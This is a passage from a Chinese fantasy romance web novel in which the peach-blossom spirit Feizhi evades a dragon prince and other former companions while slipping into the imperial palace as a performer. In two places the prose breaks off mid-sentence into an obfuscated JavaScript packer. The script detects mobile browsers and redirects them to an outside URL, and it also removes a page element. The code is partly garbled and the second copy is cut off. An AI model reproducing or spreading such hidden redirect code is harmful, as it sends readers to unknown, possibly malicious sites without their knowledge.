“都说一日为师终生为父。”奕戈眼睫撩起,“那我是枝枝的媳妇喽?” “阁主说笑了,您是男子,且身份高贵,我区区一株桃花可高攀不上。” “不攀攀看又怎么知道呢?” 奕戈手肘支在轮椅扶手,掌心托着下巴,向人倾身,“说不定啊,枝枝一攀,就把我拿下了呢。” “毕竟阁主我身娇体弱,不良于行,枝枝就算想对我做什么,我也反抗不了。” 话题越来越奇怪,绯枝心知肚明这位小肚鸡肠爱记仇的阁主是在戏弄他取乐,当下不再回话了。 他移开了目光,便没注意到奕戈的视线始终停留在他的身上。 唱曲儿跟说话的时间,两人已经走出去不短的距离。 可这方向并不是去皇城里面的,看上去也不像是回修仙界的。 不能再这么走下去了。 绯枝思索着脱身的法子,嘴上一秃噜道:“要去哪啊,阁主要带我私奔吗?” 奕戈挽头发的手莫名抖了一下,肩头滑落一缕发丝,抬眼向绯枝看去,神情晦暗莫测。 对方的眼神幽深,好似要吃花,绯枝下意识后退,立刻认怂,“开个玩笑嘛哈哈......” 就不该嘴贱! 奕戈哼笑了一声,也不知道是什么意思。 绯枝悄悄撇嘴,难懂的人,最难哄的就是这个。 “包了座梨园,带枝枝去看看。” “阁主人傻钱......阁主对我真好。” 奕戈支着脑袋,语调散漫,“唔,只要枝枝听话,阁主可以再傻一点,把有的都给你呢。” 绯枝当即道:“就算阁主一无所有,也是我一辈子的阁主,我永远是你的知己好友。” 看着眼前的人笑起来,绯枝松了口气。 还好他反应快。 要是真信了这人的鬼话,他就遭大殃了。 把一切全部给一个背叛过自己的人,傻子都干不出来这蠢事,更不要说是一生精于算计的奕戈。 两刻钟之后,绯枝再一次深刻认识到,他今天是真的厄运缠身。 魔族居然又出现了,看装束还是跟之前那魔窟同一批的,恰好不在,逃过一劫。 将近二十只头顶长着黑红色角的人形魔族拦住去路。 被一根傀儡丝系住手腕拉到轮椅后方,绯枝突然反应过来,这好像并不是坏事。 开溜的机会来了。 魔族的攻击性很强,出现的时候往往是为了杀戮。 区区十几只魔族,对奕戈来说根本不算什么事情。 他甚至不耐烦去控制魔族自相残杀,直接用傀儡丝将所有魔族都勒成了肉块,切得整整齐齐。 再回头,他浅浅的笑容消失了。 系在身后傀儡丝上的根本不是人,而是一枝桃花。 又跑了。 ...... 奕戈眉头突然皱起,一口血喷出来,心口伤痕渗出的鲜血染透了衣衫。 苍白的指尖在生理性颤抖,他虚虚拢住那枝水红色桃花,垂眼嗅闻,这才缓和稍许。 懒洋洋靠在轮椅背上,慢条斯理用留了五年的桃花枯枝给自己挽好长发。 眼睛微阖,指尖拨弄花枝,“......小冤家。” 残阳下,咿咿呀呀的曲儿声又响起。 “梨花开,春带雨,梨花落,春入泥。” “此生只为一人去......” 郊外再无一人,片刻后,封祭月的身影出现。 他先是看了眼满地的魔族尸体,又注意到一片零落的桃花瓣。 “阿枝,连师尊都要躲吗......” —— 这一次绯枝不再有任何耽搁,赶在宵禁前一头扎进了皇城。 拿之前抓落玉衡尾巴的时候顺手扒拉出来的银子订了间房,直到关上房门,这才松了口气。 这下总算是安全了。 把自己重重摔到床上,都懒得脱外衣,绯枝疲惫闭上眼。 至于怎么混进皇宫,他早就想好办法了。 修仙界的人不能无故插手凡人界的事情,尤其是汇聚了凡人界气运的皇城与皇宫,这是仙人立下的规矩。 所以就算是那四位来了,也只能在皇宫当贵客,但不能干扰皇族之事。 太子大婚在即,乐舞机构人手不足。皇宫向外征召擅长歌舞之人,要在婚宴之上演出。 这几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14234300|151375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日皇城最大的歌舞坊一直在挑选优伶。 多亏了这些年奕戈对自己的辛勤栽培,因为时常被傀儡丝缠着跟人搭戏,现在的他唱歌跳舞或许说不上精通,但绝对胜过大部分人。 最关键的,他有一张好脸。 在不了解一个人内在的时候,皮囊就是最大的迷魂药。 沉沉睡去,再睁开眼便已是第二日。 吃了顿简单的早饭,绯枝来到歌舞坊。 这些天歌舞坊的生意可谓是如日中天,就连坊外都还围着不少想进去但是没有座位的人,只为了一睹美人芳容。 优伶评选的方式很简单粗暴,上台表演,获得看客打赏多的前二十人就能进入皇宫,还有机会成为皇宫乐舞机构的正式人员。 为了让那些个有钱看客掏钱,歌舞坊还表示,一位优伶名下打赏最多的看客,优伶将为其单独表演一天。 至于是怎么“表演”,就只有两人知道了。 “去去去,没看见没位置了吗,挤什么挤!”守卫不耐烦向着绯枝推去。 “这位大人,我是来参加选试的。” 音色颇为好听,还伴随着清浅的花香,守卫愣愣抬眼,彻底看呆了。 绯衣的少年面容姝丽,盈盈含笑。见他看过来,还俏皮眨了眨眼。 红晕顿时从守卫面侧蔓延至脖颈,他猛地缩回要去推人的手,转而低着头将绯枝迎了进去,“里、里面请......” 绯枝弯唇,面上不显,暗中悄悄收了收自己好像散发过头的桃花香,“谢谢咯。” 花香远去,把所有的思绪都一块儿勾走,留下一众看红了脸的路人。 直到绯枝走远,守卫都还出神望着对方的背影,痴迷不已。 “再看就把你眼珠子挖了!”突然又是一道少年声音响起,只不过这次充满了戾气。 守卫猛地回神,身着黑金色劲装的少年恶狠狠瞪着他,那对眼睛已经变作了竖瞳,十分吓人,跟要吃人似的。 在周遭的寂静无声下,落玉衡大步迈进歌舞坊。 后方的守卫还听见对方愤懑嘀咕了句:“对阿猫阿狗笑这么好看,对我就那么敷衍......” 很快,绯枝登台,台下惊艳声四起。 “一千两!”一道油腻男声响起,当即向着台上丢了代表一千两的木牌。 “你打发要饭的呢,这点钱还好意思说出来!”另一个肥头大耳富商打扮的男人不屑,“五千两!” “一万两!” “两万两!” 都还没有开始表演,台下最有钱那几个看客已经争起来了。 听上去离谱,但是看清台上少年的容貌后,其他的人一边掏钱买木牌打赏,一边只恨自己不够有钱。 能跟这样的美人独处一天,说不定还能有点别的发展,就算是把钱都给出去他们也愿意啊。 越来越多的木牌子丢上台,绯枝面不改色。 他什么场面没见过,现在不过是小场面罢了。 乐声响起,他刚要起舞,突然感觉自己被一道很凶的眼神给盯住了。 全身一僵,啊,这熟悉的被狗追的感觉。 不好的预感油然而生,他向台下张望。 宾客众多,可少年修长的身形依旧鹤立鸡群,一眼就能看到。 见他看过来,落玉衡咧出两颗虎牙,长眉挑起。 乍一看少年意气风发,细看疯狗气息满满。 落玉衡比了个口型。 他看懂了,对方在说:绯枝,你完了。 绯枝猛地打颤,只感觉自己全身写满了“危”。 那几个争不停的男人看见落玉衡走过来,不屑地笑了起来。 “哪来的小孩子,怎么,也看上这个美人了?” “长得好有个屁用,小白脸一个,你有钱吗你。” “小小年纪就想着玩男人,还是回家喝奶去吧哈哈哈!” 大抵是想在绯枝面前表现,大肚子富商抓着一把银票在落玉衡跟前甩得哗哗响,“见过这么多钱吗,把你卖了都赚不到,人啊,贵在有自知之明!” 一群蠢货! 绯枝都想捂眼了,敢这么挑衅落玉衡,跟找死也没区别了。 之前那个肥头大耳的中年富商又往台上丢了一枚木牌子,满眼淫.欲地盯着绯枝,“美人,我一会儿一定会好好疼你嘿嘿......啊啊啊啊!” 凄厉的惨叫响起,只听得一声脆响,中年富商的手臂被拗断了。 乐声停下,周遭寂静了一瞬,不可思议地看向落玉衡。 “我撕烂你的脏嘴!”落玉衡竖瞳死死盯着富商。 绯枝很熟悉对方这样的表现,凶性被激发,快要忍不住杀人了。 “不许动!” 在这里杀人指不定要招来多少麻烦。 听到呵斥,落玉衡僵了一下,似有不情愿,但瞳孔还是缓缓变回人类模样。 见落玉衡收敛了杀意,绯枝刚要松口气,对方却又看过来。 似乎是磨了磨牙,抿唇的样子莫名给他一种委屈的感觉。 错觉,一定是错觉,这条疯狗不扑上来咬他就不错了,怎么可能委屈。 落玉衡突然摔开富商。 一挥手,漫天金雨落下,数不清的金子几乎要将整个大堂淹没。 贫穷的绯枝看花了眼。 好好好,这场面他真没见过,这天底下就不会有比落玉衡更人傻钱多的了。 每次都喜欢弄出一些花里胡哨的场面,不知道的还以为在孔雀开屏求偶呢。 在此起彼伏的惊呼声下,落玉衡大步迈上高台,扣住想要跑路的绯枝的手腕。 那手攥得极紧,绯枝压根挣不开,被带着往前趔趄了两步,险些撞进对方怀里。 虽说都是少年的模样,但落玉衡比他高了足有半个头,靠近的时候压迫感十足。 耳边响起对方咬牙切齿却又刻意压低的声音,“你就只会凶我!” 5. 第 5 章 歌舞坊今日遇上贵客包场,门窗紧闭,里面再无多余的人。 歌舞坊的主人乐得嘴都笑歪了。 被要求离场的看客们人手一锭金子,也是毫无怨言,反正还能去别的歌舞坊看优伶演出。 断了手的富商在意识到落玉衡是修仙者之后,吓得连滚带爬逃走,根本不敢多说什么。 于是,一段“少年豪掷万金博美人一笑”的佳话就这么传开了。 而“美人本人”此刻弱小无助瑟缩在台子上,恨不得变回桃花装死。 跟其他喜欢在人形的基础上变出龙角龙尾的龙族不同。 落玉衡头上不变出龙角,身后却整天晃着条龙尾巴,好像就是专门为了圈他的。 这会儿歌舞坊里面就他们两个,对方又把尾巴变了出来。 墨色蜿蜒着金纹的龙尾巴冰凉而有力,从后往前穿过他两腿之间,又在腰上缠了两圈,最后尾巴尖绕住他的两只手腕压在胸膛前。 那尾巴力量大得恐怖,绯枝就跟个打包好的货物一样,坐在龙尾巴上,跟人面对面。 不妙,现在的情况十分不妙。 “那个......其实我可以自己站着的。”绯枝弱弱发声。 被不属于自己的部位从两腿之间穿过的感觉实在是奇怪,而且十分没有安全感。 “我保证不跑。” 落玉衡冷冷一笑。 绯枝一噎,想起自己之前算计对方前,也说过差不多的保证。 他的保证在这四个债主的耳朵里估计跟财主说自己不爱钱一样,半个字都不能信。 捆在手腕上的尾巴尖看上去细,实则力气巨大,把他的手腕牢牢压在胸前,一点都挣扎不得。 看着那一晃一晃的尾巴尖,又瞄了眼板着脸的落玉衡,绯枝突然低头啄了一口。 嘴唇贴在冰凉的鳞片上,还蹭到了尖端那簇不知道该叫什么的毛。 下一刻,那尾巴尖猛地竖了起来,紧紧绷起。 “你干什么!”落玉衡眼睛瞪大,音量拔高了很多。 绯枝有个很贱的爱好,喜欢在别人底线来回蹦跶。明明平时很怂,但瘾上来了,怎么都控制不住。 他又蹭了蹭那僵硬的龙尾巴尖,对着落玉衡笑嘻嘻,“落哥哥~你的尾巴好好看啊,我忍不住就想碰一碰。” “你都这样缠上来了,不就是让我碰的意思吗?” 行为贱兮兮的,话也贱兮兮的。 果不其然就把人惹毛了。 那捆了他半天的龙尾巴终于松开,绯枝还来不及细细感受脚踏实地的安全感,就看到落玉衡黑着脸朝他逼近。 后背发凉,绯枝噌噌后退。 落玉衡手上突然出现长弓,对着他身后的台面射了一箭,恶声恶气,“你再逃一个试试?” 绯枝反咬一口,“谁让你动手的,你被箭指着你不跑?” “你现在还把人家的台子给弄坏了。” 落玉衡气笑了。 气氛僵持下来。 被那双墨金的眼睛死死盯着,十分不自在,总觉得是在被什么猛兽注视。 绯枝深吸一口气,心道伸头是一刀,缩头也是一刀,狡辩道:“其实——” “我到底哪点对不起你,你要这样对我?” “说好的做一辈子好朋友好兄弟,绯枝,你就是这么对兄弟的?” 落玉衡突然开了口,说话的语气与其说是愤怒,倒不如说是委屈。 突如其来的气氛转变让绯枝愣了一下。 眼前的少年眉眼耷拉,喉咙下端还有着一道未愈的伤疤,那是被他拔去逆鳞的地方。 龙有逆鳞,触之即死。不管是脾气多么好的龙,若是被人碰了逆鳞,也会发狂,更不要说是被人拔鳞。 可落玉衡这样见人就咬的疯狗性子,那时却是生生压下暴怒,放他离开。 绯枝一时间说不出话来。 他跟落玉衡是在凡人界的路边摊上认识的。 那会儿他跟师尊走散,就找了个汤圆摊子吃东西,等师尊来找他。 结果汤圆还没端上来,摊子先让人给掀了。 看过去,就是正在发飙的落玉衡。 听经过是对方也来买汤圆吃,结果忘记把眼睛的颜色变成人类的纯黑色,被那个碎嘴巴子摊主到处说来了个怪物,还说要报官抓怪物。 骂得难听了点,落玉衡那暴脾气直接龙尾巴一甩,把摊子给掀了。 当时他的注意力全放在了落玉衡的尾巴上面。 乖乖,黑金色的尾巴,好漂亮,看起来就很有钱的样子。 绯枝一不小心把心声说了出来,落玉衡猛地转头看过来。 本以为自己也要被掀了,正打算呼叫师尊救命。结果对方居然脸红了,哼地扭过头。 后来跟人相熟了,绯枝才知道,墨龙在龙族从来不是什么高贵的象征,而是最低贱不祥的血脉,谁都没想到龙皇的后代会出现这样的血脉。 于是落玉衡在很小的时候就被丢进了龙族的禁地,兄弟姊妹于父母膝下承欢,他却时时刻刻挣扎着想要活下去。 或许是命不该绝,落玉衡不仅没有死在禁地,出来后还以绝对的修为力压所有兄弟姊妹,成为了龙族最年轻的少主。 他是龙族最具锋芒的一把弓,是永不知疲惫的杀戮利器,手下白骨无数。 那些恐惧他的、厌恶他的人骂他是见人就咬的疯狗,咒他终将被仙人厌弃,不得好死。 在绯枝的刻意接近下,落玉衡把他当成了唯一的朋友。他说要做一辈子的好兄弟,对方也是欣然答应。 他那时候觉得,真的是条很好骗的龙,别人随便说点什么就信了。 没想到,一句讨好的话,对方记到现在。 抬眼,落玉衡仍旧执拗盯着他,似乎不从他这里问出个答案来,就绝对不会罢休。 不像奕戈那样总是言笑晏晏让人看不透,不像封祭月那样温柔包容,也不像缔琉俟那样淡漠清冷。 这就是一条无法被驯服的疯狗。 幼稚、桀骜、野性难消。 却又执着。 “......” 绯枝有些狼狈地躲开落玉衡的目光,心脏不规则地跳了跳。 “我从来不是为了背叛你,我——” “记住你这句话。” 剩下的辩解还没来得及说出口,就被落玉衡堵了回去。 绯枝愣愣抬头,对方哼笑一声,斜睨他一眼,那两颗虎牙让他显出几分年少的张扬与高傲。 “你、你相信我?” 这下反倒是他震惊了,他这鬼话真有傻子信? 如果不是怕被剁手,他简直想去搭搭对方额头,看看是不是鬼上身了,或者是伤势发作了。 手腕上突然一紧,龙尾巴又缠了上来,将他重重朝前一拽。 绯枝重心不稳,险些摔到落玉衡胸膛上。 那尾巴抬起,他就被迫跟着高举双手,整个人几乎是靠对方的尾巴吊着。 距离拉近,能感受到对方有力的心跳,灼热的体温都似乎传过来,让绯枝有些莫名的紧张。 “我不相信你。”落玉衡盯着他,那少年气的俊美面容上是专注,然后又恶劣地笑起来,“但是你打不过我。” “从今往后,你跑一次,我就把你吊一天。” “如果你真的那么想试试被我尾巴抽的滋味,可以再跑。” 绯枝:“......” 脑海中浮现那些魔族血肉模糊的样子,猛地打了个寒战。 果然,这才是这条疯狗的真面目。 什么单纯好骗少年郎都是假的。 他干笑两声:“我才不会跑呢哈哈......落兄在,我怎么舍得跑。” 说完还嫌吹得不够,又道:“落兄风流倜傥,俊美无俦,看到落兄刚才豪掷万金的傻......潇洒模样,我这会儿只恨自己不是女儿身,否则都想以身相许了呢。” 话音落下,缠在他手腕上的龙尾巴猛地一抖,狠狠收紧。 绯枝倒吸了口冷气,“断、断断要断了!” 那龙尾巴飞快缩了回去,绯枝饱含泪水抬眼,落玉衡正目不转睛盯着他,跟被定身了一样。 下一刻对方冷冷哼一声,嘴角似乎扬了扬,背过身不再看他。 不是你什么毛病,我骗你你不生气,我夸你你倒是闹别扭起来了? 余光里只觉得落玉衡的尾巴有点过于活泼了,那尾巴尖尖一直在打晃,弄得他又有点克制不住想去抓一把。 绯枝试探着:“那落兄你如果不生气了的话,我是不是可以走——” “谁说我不生气了?”落玉衡猛地转身瞪了他一眼,走下台,大摇大摆往靠近台子的桌子旁一坐。 灵力组成的屏障将整座歌舞坊都给围住,绯枝根本找不到逃脱的空隙。 “我花了这么多钱包场,你一支舞都没跳就想跑?” “你今天一整天都是我的!” 他两条长腿往桌上一架,靠着椅背给自己倒了杯酒,大爷一样抬抬下巴,脑后的马尾跟着晃。 “接着奏乐接着舞!” 我舞你大爷! 心里是这么骂,绯枝咬牙,面上笑得灿烂,“好嘞。” “那落兄是不是再给点打赏啊?” 规矩是打赏的钱,优伶与歌舞坊五五分成,但因着这次评选特殊,优伶能分八成。 歌舞坊拿走了十万两金子,那几个话事人现在估计还在流着哈喇子数金子。 剩下的四十万两金子按理就是属于绯枝的,可那些金子皆被落玉衡封印进乾坤袋。 还不止,落玉衡很嫌弃地丢了那些富商打赏的银子,又给他添了十万两金子。 也就是说,绯枝的乾坤袋里面现在有足足五十万两金子。 但只能看,完全拿不出来。 报复,幼稚的报复! 落玉衡挑眉,“你之前不是已经从我这里顺了一袋银子了,不够你花的?” “这点小钱,落兄就不必跟我计较了吧。” 绯枝可怜巴巴,“皇城物价多高,我饭都要吃不起了。” “就算落兄不给我乾坤袋解封,好歹赏点饭钱吧。” 沉甸甸的袋子丢过来,他美滋滋打开,笑容瞬间凝固。 全是碎银子。 你为了看我跳舞包场花五十万两金子,都能买几座城下来了,结果就施舍我加起来约莫五十两的碎银子? 我到底是值钱还是不值钱? 落玉衡哼笑:“给你钱岂不是方便你逃跑,你只要跟着我,就算想要这座皇城,我都给你买下来。” 绯枝干笑,“落兄真是大气哈......” 不再继续这个伤心的话题,他默默开始跳舞。 ...... 没有乐师伴奏多少显得太安静,但在场唯一的看客似乎完全不在意这点。 绯枝抬手、折腰、旋身一望,乌发拂过面侧后又垂落腰肢。 变作暖红鹅黄的眼眸与落玉衡对上目光,眼尾桃花印清丽。 下一瞬落玉衡率先移开了视线,耳尖似有薄红。 他捏着玉盏,仰头将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他跟对方认识刚好六年。 “这还差不多......我呸!谁跟你是夫妻!” “你少占我便宜!” 悄然将目光落到那条鳞片炸开的龙尾巴上,绯枝心道对方是真的急了。 他就说嘛,哪来的断袖,修仙界那些人就喜欢乱造谣。 “开个玩笑嘛。”绯枝笑嘻嘻,“落兄脸皮还真是薄呢,这以后要是遇到心上人了,可别把人吓跑了。” 落玉衡咬牙切齿,“你说什么?” “没什么咯。”绯枝转身想去桌上抓点糕点吃,结果腰上猛地一紧,那龙尾巴将他重重往后一拽。 绯枝没站稳,人直挺挺往后栽去,后背撞上一片结实的胸膛,感觉到那具身体顷刻绷紧。 回过头,发现落玉衡眼睛又变作了竖瞳。 他听对方说过,紧张跟生气的时候眼睛都会变。 这会儿显而易见是生气。 绯枝熟练地给这条疯狗龙顺起毛来。 “落兄啊,你说你,身份又高贵,实力又强大,爱慕你的人数都数不清,我刚才那话就是随口一说,你别当真。” 落玉衡却紧紧盯着他,“那你为什么要跑?” 这都哪跟哪啊? 绯枝想了想,心下了然。果然是幼稚鬼,嘴上说着不在意他之前的事情了,实际上还在乎得很。 突然一笑,眉眼弯起,眼尾的桃花都好似在跟着一道招摇。 绯枝没有第一时间回答对方的质问,而是将斟满的酒盏举到落玉衡唇边。 “消消火?” 对方瞪了他一眼,低头将酒一饮而尽。 落玉衡有偏头,但嘴唇还是略微蹭过他捏着酒盏的手指。 杯酒下肚,那耳尖红得都快滴血了。 对方的酒量怎么样绯枝以前并不清楚,这么多年很少见对方喝酒。 这次算是试验出来了,简直三杯倒啊。 搁下酒盏,绯枝这才开始忽悠人,“落兄你想,修仙界那些人说我是什么?” 落玉衡的思路被带偏了,认真思考起来,“红颜祸水。” “这不就对了。”绯枝循循善诱。 “我自知不是什么好东西,远离落兄是为了你好。” “自古红颜多祸害,虽然我不算红颜,但要是连累到落兄了,我这余生怕都是要在愧疚里过了。” “落兄你应该有更好更坦荡的路走,何必与我这样的人牵扯到一起呢。” 虽是逢迎狡辩,但难得带了些真意。 跟他牵扯在一起,不会有好下场的。 落玉衡却问:“你就想说这些?” 绯枝小心试探着点头。 落玉衡不说话了,缠上来的尾巴松了些,绯枝将其扒拉开,打算挪远几步。 可是一只修长的手突然圈上手腕,将他又拽了回去。 裹挟着热气的哼笑落在耳畔。 绯枝被烫得瑟缩一下。 抬起眼,落玉衡的目光亮得有些灼人。 酒香弥漫于方寸之间。 短暂的恍惚间,听得对方一字一句,颇为认真的样子: “绯枝,我等着你来祸害我一辈子。” 6. 第 6 章 五年前,凡人界。 魔族肆虐的偏远城镇,大雨磅礴,绯枝用灵力撑开屏障挡雨,御剑急匆匆向前赶路。 他出现在这里,是因为落玉衡又失控了。 作为龙族的一把兵器,落玉衡的强大毋庸置疑。 但在拥有不符合年龄的强大修为同时,他也被永远打下了疯子的诅咒。 没人知道他在龙族的禁地中到底经历了多少厮杀,才跌跌撞撞长大,活着走出来。 见血即疯,这个词可以完美形容刚离开禁地的落玉衡。 就算到了现在,他也依旧无法很好地控制自己。 一旦失控,只有无止境的杀戮,杀到力量耗尽才能将凶性压制。 这次他来凡人界除魔,意外失控。 绯枝落地,随手拉了个人问具体位置,“来除魔的那个——” 男人不耐烦地甩开绯枝的手,“什么除魔,那来的根本也是个魔族,天杀的,造孽呦,我们做错了什么要遇到这种恐怖的玩意儿。” 绯枝皱眉,长剑直接抵上男人的脖子,声音冷了下来,“我再问你一次,来除魔的那个穿黑衣服的少年在哪!” 在性命的威胁下,男人的态度立马好了起来,哆哆嗦嗦把他知道的事情说了出来。 不久前,魔族大举进攻,稍微有些自保能力的人都赶紧逃去别处,城镇顷刻沦陷,根本无人搭救。 而落玉衡路过,杀光魔族,救了剩下的人。 结果那些依靠落玉衡活下来的凡人与修士,见到落玉衡失控,一个个头也不回逃走,连想都不曾想过要尝试帮助他们的救命恩人。 他们甚至还合力布下阵法将人困在那座沦为废墟的荒城里面,想把人耗死,免得连累他们。 这会儿,他们已经开始大肆传播落玉衡是潜伏在龙族中的魔族,要报官请更厉害的修炼者来斩杀落玉衡。 眼前这个男人就是刚报官回来,更可笑的是,之前他都已经被魔族抓住了,是落玉衡及时斩杀那魔族才让他没有被分食。 多讥讽。 受恩者反咬一口,心怀不轨者反倒来救人。 “大人,小的都说完了,您呃——” 男人捂着血液疯狂涌出的脖子,不可置信地倒了下去,很快就断了气。 绯枝垂眼,冷静又有条理地将尸体撕裂成魔族下手的样子。 “死得痛快,便宜你了。” “放心,我很快送其他人下来陪你。” 被魔族当成食物吃掉才是这种东西应得的下场。 待到边杀边找路的绯枝打破前面修士布下的阵法踏进战场,土壤都已经被大量的血给浸透了,这般大的雨都冲刷不干净。 落玉衡立于尸山血海的最中央,缓缓看过来。 他分明是能够打碎阵法离开的,却死死压抑着自己。 绯枝也不清楚,究竟是对方还记着自己之前的规劝,还是只是单纯没彻底疯。 桃花枝自浸满鲜血的土壤中破土而出,一点点蜿蜒缠绕上落玉衡的四肢。 绯枝做好了对方剧烈挣扎的准备,要是情况不对,他会立刻喊师尊来救他这株弱小无助的小桃花。 可落玉衡听话得很,任由那些枝条将自己禁锢,只是始终直勾勾盯着他。 少年马尾散落,眼眶很红,雨下得太大,分不清是血还是泪。 像是一条无家可归的狼狈小狗,眼巴巴望着路过的人,希冀对方能将自己捡走。 绯枝走上前,确认对方的手脚都已经被缠住了,于是小心翼翼给了对方一个拥抱。 隔开雨水,学着师尊以前哄他那样,摸摸落玉衡的脑袋,手覆上对方后颈,微微用力让人低下头,与人额头相抵。 “好了好了,乖,没事了。” “你很棒,这次都没有变回龙形了,进步很大。” “来,我带你回家。” 颈侧传来刺痛,落玉衡偏头一口咬了上来。 尖锐的虎牙嵌入皮肉,绯枝吸了口冷气,脑中浮现自己被咬断脖子的凄惨场面。 可直到最后落玉衡昏过去,能轻而易举撕裂喉管的利齿也没有弄破脆弱颈侧丝毫。 这一咬更像是野兽在生涩地撒娇示弱。 绯枝叹了口气,将人抱起来向外走。 说不清是什么样的心情。 他低眼看向怀里死死抓着他衣服不肯撒手的人。 龙族的少主,关系攀到这种程度,应该符合呢喃的要求了吧。 他可是冒着生命危险来哄人了呢。 ...... 意识一点点回笼,绯枝从回忆中醒过来,还有些微的恍惚。 不知为何,最近总梦到过去的事情。 呼吸间传来食物的香气,他打了个哈欠,将心头那点怅然挥散,迷迷糊糊睁开眼睛。 循着香味一转头,落玉衡坐在他床头,翘着二郎腿,手上抓着一大根肉干正吃得欢。 昨天被人抓着跳了大半天的舞,又各种折腾,给他累得睡得跟死猪一样。 来不及吐槽对方私闯房间,饥肠辘辘的绯枝直接脸扑肉干,一口咬住抢了过来。 “喂!”落玉衡吓了一跳,“这我的!” 抓着大肉干美滋滋咬了一口,绯枝含糊道:“落兄见外了是不是,这还分什么你我。” “而且昨天落兄不是说让我祸害你吗,现在就连一根肉干都不舍得了?” “这能一样吗!” “怎么不一样了,一样的一样的。” 那肉干上面还有几个落玉衡咬过的牙印,不过绯枝完全不介意,用力咬起来。 “唔......落兄你越来越硬了啊。” 绯枝的牙口可没落玉衡好,这龙族专门磨牙用的肉干吃起来费劲得很。 好不容易把肉干咬松吃掉,给他累得感觉吃下去那点全消化完了。 舔舔指尖的碎渣,才发现身旁的人许久没吭声了,绯枝疑惑抬眼。 四目相对,感觉对方的脸好像有点红,眼神也呆呆的。 落玉衡猛地移开眼神,尾巴尖一下一下小幅度高频率拍打着床榻。 “落兄?” “......” “落兄?”绯枝凑上去,结果脑袋被推了回来。 “你要去皇宫?”落玉衡突然道。 绯枝心下一紧,几乎已经预料到了对方下一句话就是要跟他一起去。 “就去看看嘛,对了,我们今天逛逛皇城好不好,我有好多想吃的糕点。” 啊,多么丝滑的转移话题啊。 “唔?” 两边面颊被挤压,绯折嘴巴“啵”得嘟了起来,被一双手拍住掰过脑袋。 落玉衡瞪着眼前的桃花夹馍,咬牙切齿,“你是不是觉得我很蠢很好敷衍啊!” “就这么不想跟我一起?” “那你想跟谁一起?那个死唱戏的残废还是那个没脸见人不会说人话的蠢货,还是你的好师尊?” 绯枝嘟着嘴含混不清:“不素嘟。” 落玉衡高声:“那你说!我跟那三个谁好!” 疯狗又在犯病了,这有什么好比的。 比你们中间哪个被我坑得最多是吧? 绯枝心中吐槽,没有第一时间回答,结果某条疯狗龙似乎把这停顿理解成了嫌弃,突然发起大疯。 “怎么,我没有那三个好?可笑,其实我就随口一问,根本没有很想知道!我是谁?我可是龙族少主,我会有闲工夫去跟那三个蠢货较劲?我管你更喜欢谁呢!呵呵呵,笑话,我根本完全一点都不在乎!” 话音落下,那条龙尾巴直接把床头的柜子拍成了一地碎片。 绯枝一哆嗦,猛地抬手以同样的姿势拍住落玉衡的脸,盯着眼前的龙夹馍,“落修!” “窝洗翻你,最洗翻你噜!” 落玉衡也一哆嗦。 绯枝努力睁大眼睛,试图让对方感受到自己的真挚。 本来就被面颊挤压得撅起的嘴唇也努力嘟了嘟。 下一刻,脸上的手飞速缩了回去。 绯枝也跟着想要缩手,结果手腕一疼。 “嘶......” 狗东西,疯狗! 落玉衡一口咬在了他手腕上,还恶狠狠磨了磨。 等到绯枝救回自己的手,手腕外侧已经多了一圈泛红的牙印,在瓷白的皮肤上格外醒目。 这狗牙真尖啊。 绯枝低头吹了吹,嘴唇蹭过那圈发烫的牙印。 “砰!”一旁传来重物落地声。 扭头一看,是落玉衡从床头摔了下去,龙尾巴朝天。 “落兄?” 手贱揪了揪那尾巴,对方猛地站起身,大步离开了房间。 “病还没犯完啊?” 犯得好啊,看着已经没了禁制的窗户,绯枝勾唇。 外面,落玉衡耳尖通红,眼神发愣,不自在地捶了一下墙,给墙捶出一个大洞来。 他等了许久,都没人出来,突生不好预感。又一次推门而入,房间内哪里还有绯枝的影子。 顿时气到跳脚。 “好,好得很,刚才说得话又全是骗我的!” “合着就把我一个人当傻子耍呗!” “我是狗吗,你整天想逗就逗?!” 骂骂咧咧了好一通,落玉衡注意到床榻上那枝刻意留下来的桃花,突然就没了声。 半晌,他抓起桃花枝,垂着脑袋,声音极轻:“骗子......” “我不比任何人差,跟着我有什么不好。” —— 另一边,绯枝打了个喷嚏,跟另外十九名优伶排排站好,跟着带队的人一起进宫。 肯定是落玉衡那家伙在骂我。 或者是奕戈在给我扎小人。 这两个人都不对劲。 堂堂天机阁主,被人捅刀子推下魔渊后说要把一切都送给罪魁祸首。 堂堂龙族少主,被人拔了逆鳞重伤之后说要罪魁祸首接着祸害他。 他们是不是伤得太重,影响到脑子了? 嘶......本就深重的罪孽又加重了几分。 “季斐。”有人拍了下他的肩膀。 绯枝反应了一下才想起来这是他随意给自己取得新名字。 取师尊第二个字同音,加自己的姓。 毕竟他原本的名字实在是太有名了,同时坑害四位大能,怎么一个战果斐然可言。 “有什么事吗?”绯枝看过去。 喊他的那人并不是二十名入选者中的一个,而是来带队的宫中人。 叫做苏煜,二十岁的样子,面容俊秀,据说是皇宫内最优秀的乐师。 苏煜嘿嘿笑了一下,探头探脑打量周围,直接拉着绯枝的手走到队伍的最后排说小话。 “听说昨天有人为季兄你豪掷万金?” 绯枝还没回神,鸡胸?什么鸡胸? 不等绯枝回答,苏煜喋喋不休起来,“我的天呐,我听说足足有五十万两金子,这是什么概念啊,我这辈子都没见过这么多钱!” “季兄你快说说,你当时是什么感觉?” “是不是超级震撼?” “那你分到了多少金子啊,下下辈子都吃喝不愁了吧。” “好羡慕好羡慕,啊啊啊我昨天怎么就不在场呢!” “早知道我就毛遂自荐来评选了!” “季兄我跟你说......” 